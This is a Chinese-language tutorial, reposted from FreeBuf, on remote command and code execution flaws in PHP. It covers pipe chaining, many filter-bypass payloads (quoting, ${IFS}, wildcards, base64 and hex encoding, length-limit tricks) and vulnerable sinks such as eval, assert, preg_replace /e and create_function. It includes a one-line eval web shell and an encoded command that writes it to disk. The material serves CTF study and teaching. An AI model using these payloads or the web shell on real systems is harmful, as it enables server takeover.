RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行eval。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!
具体漏洞代码:
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
exce(ping)远程系统命令执行
1.原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen
等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
2.利用管道符来实现
主要是win和Linux,管道符两边的语句之间可有空格,也可以没有
2.1 win和linux共有的:
| 两个都执行,但显示后面语句执行结果
以把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入。
例如:ping 127.0.0.1|whoami
,在win和linux下,只执行并显示whoami
![图片[1]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186013_625bd71d6ef16560c829c.png!small)
|| 前面出错则执行后面执行结果,否则执行前面
![图片[2]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186077_625bd75d5cd389e05f755.png!small)
& 无论真假,前后面语句都会执行
![图片[3]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186091_625bd76b0b6bd584d8848.png!small)
&& 前为真,都执行,前为假都不执行
![图片[4]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186103_625bd777dd805ebcffa53.png!small)
2.2 Linux特有的
; 无论真假都执行
跟&一样
3.绕过方法
3.0 preg_match_all语法
格式:preg_match_all("/......./",$ip,$m)
过滤的是"/ /"
里的东西 或者有"/( )/"
表示标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用\( 和 \)。
例如:preg_match_all("/(\||\&)/", $ip, $m)
其中:|指明两项之间的一个选择,要匹配 |,请使用 \|
\(转义字符)将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如,n
匹配字符 ‘n’。\n
匹配换行符。序列\\
‘匹配\
,而\(
则匹配(
3.1 花括号
{}
在Linux bash【就是shell】中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
例如:{cat,flag}
3.2 反斜杠
/
表示路径
\
反斜杠(又称转义字符)是在正则等语法里面,如果后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过
例如:c\at fl\a\g.tx\t
3.3 拼接
例如:a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e
3.4 特殊变量方法
3.4.1 $1、$2和$@
第一个参数是1,第二个参数是2。而参数不存在时其值为空。所以没有赋值的话就相当于没有
例如:ca$@t fla$@g
或者ca$1ca@t fla$2g
或者ca$1t fl$1ag.t$1xt
3.4.2 []和{}
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
例如:
cat t[a-z]st
cat t{a,b,c,d,e,f}st
3.5 单、双引号
c""at fl''ag.tx""t
3.6 内联(反引号)
将反引号内命令的输出作为输入执行
例如cat `ls`
将ls显示出的文件依次用cat打开
3.7 base64
在"Y2F0IGZsYWcudHh0Cg==" | base64 -d
下(base64解码)需要通过echo把解码内容输出,即cat flag.txt
,但要注意:这里只是把cat flag.txt文字echo出来,并没有执行
3.7.1 使用反引号包含base64解码后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
【好像只能在shell用】
3.7.2 将base64解码后的命令通过管道符传递给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
3.7.3 base64出文件
一般情况下php文件,cat无法打开,所以用basebase64 1.php
相当于cat 1.php|base64
,输出的是base64后的
3.8 编码绕过
跟base64一样
#base64 echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag#xxd - r -p可以转换16进制,同样用户管道符之后。 #oct字节 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag #i也可以通过这种方式写马 #内容为<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
3.9 通配符*,?
127.0.0.1|cat 1.php
相当于
127.0.0.1|cat ?.php
127.0.0.1|/???/?at 1.php
127.0.0.1|/???/?at ?????
127.0.0.1|/???/?[a][t] ?''?''?''?''?
4.例如
4.1 cat绕过
more,less
(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容
ca""t
ca\t
- 拼接
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e
- base64
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
或者echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
或者base64 1.php相当于cat 1.php|base64
4.2空格绕过
过滤语句:if (!preg_match_all("/ /", $ip, $m))
在linux的shell中绕过:<>,${IFS},$IFS$9,<
其中${IFS}是常用的
![图片[5]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186175_625bd7bf11a8c6f480838.png!small)
在URL中(或者sql注入中使用)%20(space),%09(tab)
4.3 目录分隔符(“\”)过滤
cd是进入文件夹,而cat是打开文件
绕过方法:cd flag_is_here;ls
=ls \flag_is_here
4.4 管道符过滤
过滤语句:if (!preg_match_all("/(\||\&)/", $ip, $m))
;过滤了|,&
过滤方法:
1.用;
或者其他管道符127.0.0.1;ls
2.如果已知flag文件名,则使用base64base64 1.php
相当于cat 1.php|base64
,输出的是base64后的
3.假如;
也被过滤的话,则用%0a(;,为url 编码),但要注意要在url上打
4.5 字符绕过(如flag、php)
利用通配符?*127.0.0.1|cat fal?.php
4.6 长度限制绕过
4.6.1 Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\
,可以将一条命令写在多行
比如一条命令cat flag
可以如下表示:(换行后的那个>是系统加的提示符,不是我输入的)
![图片[6]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186192_625bd7d000ec84c8d194e.png!small)
root@kali:~# echo "ca\\">cmd root@kali:~# echo "t\\">>cmd root@kali:~# echo " fl\\">>cmd root@kali:~# echo "ag">>cmd root@kali:~# cat cmd ca\ t\ fl\ ag root@kali:~# sh cmd this is your flag
![图片[7]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186210_625bd7e29efe06d374b94.png!small)
4.6.2 利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
在linux
中,我们使用ls -t
命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a
执行 cat flag
root@kali:~/example# > "ag" root@kali:~/example# > "fl\\" root@kali:~/example# > "t \\" root@kali:~/example# > "ca\\" root@kali:~/example# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/example# ls -t > a root@kali:~/example# sh a #sh会把a里面的每行内容当作命令来执行 a: 1: a: not found this is your flag a: 6: flag: not found
原理就是依次创建了文件,然后通过ls -t来
![图片[8]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186228_625bd7f4927774ad69919.png!small)
2.PHP的命令执行
函数
system():能够将字符串作为OS命令执行,自带输出功能。
<?php if(isset($__GET('cmd'))){ echo "<pre>"; system($__GET['cmd']); }else{ echo "?cmd=ipconfig"; } ?>
exec():能够将字符串作为OS命令执行,需要输出执行结果。返回结果是有限的。
<?php if(isset($__GET['cmd'])){ echo "<pre>"; print exec($__GET['cmd']); }else{ echo "?cmd=whoami"; } ?>
shell_exec():应用的最广泛,无输出
<?php if(isset($__GET['cmd'])){ print shell_exec($__GET['cmd']); }else{ echo "?cmd=whoami"; } ?>
passthru():有输出
<?php if(isset($__GET['cmd'])){ passthru($__GET['cmd']); }else{ echo "?cmd=whoami"; } ?>
popen():
<?php if(isset($__GET['cmd'])){ $cmd=$__GET['cmd'].">>1.txt"; popen($cmd,'r'); }else{ echo "?cmd=whoami"; } ?>
反引号“:一种语言结构,反引号“内的字符串,会被解析成OS命令
<?php if(isset($__GET['cmd'])){ $cmd=$__GET['cmd']; print(`$cmd`); }else{ echo "?cmd=whoami"; } ?>
3.PHP的代码执行漏洞
3.1 eval函数
eval函数把字符串作为PHP代码执行
<?php eval("$_POST[1]")?>
![图片[9]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186266_625bd81ad018f5e154178.png!small)
2. pre_replace漏洞:
例题:ics-05【待复现】
pre_replace函数:搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
<?php $subject = 'google 123, 456'; $pattern = '/(\w+) (\d+), (\d+)/i';#\w+:多次字符;\d+多个数字;i不区分大小写 $replacement = 'runoob ${2},$3'; echo preg_replace($pattern, $replacement, $subject); ?>
输出runoob 123,456
存在漏洞的表现:参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行(以eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线(\)和null字符在后面向引用替换时会被自动加上反斜线转义。
<?php $subject="hello hack"; $pattern='/hack/e'; $replacement=$_GET["name"]; echo preg_replace($pattern,$replacement,$subject) ?>
payload:http://127.0.0.1/test.php?name=phpinfo()
![图片[10]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186293_625bd835cf8e7917348ef.png!small)
![图片[11]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186332_625bd85c978606fdd9c44.png!small)
用抓包工具进行发送,浏览器不行
3. assert()函数执行漏洞:
assert函数检查一个断言是否为FALSE
例题:mfw(.git/泄露+assert执行)【待复现】
![图片[12]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186354_625bd8723974d75304c3d.png!small)
![图片[13]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186367_625bd87f71fe713bec275.png!small)
payload:?page=abc') or system("cat templates/flag.php");//
即assert变成了:
![图片[14]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186405_625bd8a57a7c8ac8a66b8.png!small)
strpos
返回false。然后执行system函数。通过//将后面的.php到===false全部注释掉
![图片[15]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186415_625bd8af61021d4a1fe0e.png!small)
发现输出了两个flag,那是因为有两个assert
,所以执行了两次system("cat templates/flag.php");
4.call_user_func函数
call_user_func函数把第一个参数作为回调函数调用
函数语法:mixed call_user_func ( callable $callback , array $param_arr )
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数
<?php call_user_func($_POST[‘fun’],$_POST[‘arg’])?>
此代码为一句话木马的变形代码。通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息。
![图片[16]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186427_625bd8bb60111f11af29a.png!small)
5. call_user_func_array函数
call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数
函数语法:mixed call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入。即可以传入多个参数
<?php call_user_func_array($_POST[‘fun’],$_POST[‘arg’])?>
6.create_function函数
参考资料:
create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称
函数语法:string create_function(string $arges , string $code)
举例
create_function('$fname','echo $fname."Zhang"')
等同于
function fT($fname) { echo $fname."Zhang"; }
漏洞利用
源代码如下: <?php $id=$_GET['id']; $str2='echo test'.$id.";"; //相当于将各个字符串给拼接起来。 echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?> --------------------------------------------------------------- 如果我们没有给id传参数,那么f1以下代码。 function f1($a) { echo "test"; } --------------------------------------------------------------- 如果我们给id传入参数:id=2;}phpinfo();/* function f1($a) { echo test2;}phpinfo();/*;; } 整理以下格式 function f1($a) { echo test2; } phpinfo(); /*;; } 整个源代码相当于以下: <?php $id=$_GET['id']; $str2='echo test'.$id.";"; //相当于将各个字符串给拼接起来。 echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; function f1($a) { echo test2; } phpinfo(); /*;; 后面这些都被注释掉了 } echo "<br/>"; echo "=============================="; ?>
7. array_map函数
array_map函数为数组的每个元素应用回调函数
函数语法:array array_map(callable $callback,array $array[,array $array2…])
array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必须相同
<?php $func=$_GET['func']; $argv=$_GET['argv']; $array[0]=$argv; array_map($func,$array); ?>
Payload: http://127.0.0.1/test.php?func=system&argv=net user
8.PHP可变函数
Php支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着在PHP中可以把函数名通过字符串的方式传给一个变量,然后通过此变量动态地调用函数
<?php function foo(){ echo "foo"; echo "<br>"; } function bar(){ echo "bar"; echo "<br>"; } function echoit($string){ echo $string; echo "<br>"; } $func='foo'; $func(); $func='bar'; $func('test'); $func='echoit'; $func('test') ?>
![图片[17]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186458_625bd8dacdc1a20723a97.png!small)
虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。
Php可变函数漏洞示例代码:
<?php function foo(){ echo "foo"; echo "<br>"; } function bar($arg=''){ echo "bar"; echo "<br>"; } function echoit($string){ echo $string; echo "<br>"; } $func=$_REQUEST['func']; $string=$_REQUEST['string']; echo $func($string); ?>
pyload:
![图片[18]-RCE命令执行-NGC660 安全实验室](https://image.3001.net/images/20220417/1650186476_625bd8ec1720b6b3f348f.png!small)
本文作者:跋涉, 转载请注明来自FreeBuf.COM
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下